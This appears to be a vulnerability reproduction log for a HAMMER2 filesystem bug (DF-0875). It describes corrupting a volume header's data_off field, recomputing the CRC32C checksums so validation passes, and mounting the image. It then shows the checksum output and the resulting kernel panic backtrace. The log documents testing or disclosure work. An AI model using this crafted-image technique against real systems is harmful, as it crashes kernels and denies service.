============================================================
DF-0875 REPRODUCTION — unpatched kernel (#0, 6.5-DEVELOPMENT Jul 2 build)
============================================================

POC: create hammer2 image, newfs, corrupt sroot_blockset.blockref[0].data_off
     to 0x004000000000000e (1 PB offset, radix 14), recompute CRC32C, mount.

=== BEFORE PATCH (original image) ===
1 copies OK, 0 BAD
copy 0: data_off=0x000000000140000a ICRC0 exp=95cf164a got=95cf164a OK | ICRC1 exp=0bc36e09 got=0bc36e09 OK | ICRCVH exp=0f5f10c1 got=0f5f10c1 OK

=== AFTER PATCH (corrupted image) ===
copy 0 @0x0: bref[0].type=1 data_off=0x000000000140000a
copy 0: PATCHED data_off=0x004000000000000e ICRC1=9517e9df ICRC0=f574df67 ICRCVH=56924151
patched 1 volume-header copies
1 copies OK, 0 BAD
copy 0: data_off=0x004000000000000e ICRC0 exp=f574df67 got=f574df67 OK | ICRC1 exp=9517e9df got=9517e9df OK | ICRCVH exp=56924151 got=56924151 OK

=== MOUNTING CORRUPTED IMAGE (expect panic) ===
(hung — ssh died, guest in DDB)

=== SERIAL CONSOLE PANIC SIGNATURE (from boot.log) ===
hammer2_mount: devstr="/dev/vn0@testfs"
hammer2_mount: device="/dev/vn0" label="testfs" rdonly=0
hammer2_ondisk: "/dev/vn0" zone=0 id=0 offset=0x0000000000000000 size=0x0000000010000000
panic: no volume for offset 0x0040000000000000
cpuid = 4
Trace beginning at frame 0xfffff8011918ea98
hammer2_get_volume() at hammer2_get_volume+0x4b 0xffffffff8098726b
hammer2_get_volume() at hammer2_get_volume+0x4b 0xffffffff8098726b
_hammer2_io_getblk() at _hammer2_io_getblk+0x477 0xffffffff809650f7
_hammer2_io_bread() at _hammer2_io_bread+0x17 0xffffffff80965397
hammer2_chain_load_data() at hammer2_chain_load_data+0x2a5 0xffffffff8096f4a5
hammer2_chain_lock() at hammer2_chain_lock+0xde 0xffffffff8096fa4e
Debugger("panic")

Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>

=> REPRODUCED: kernel panic (DoS) via crafted HAMMER2 filesystem image.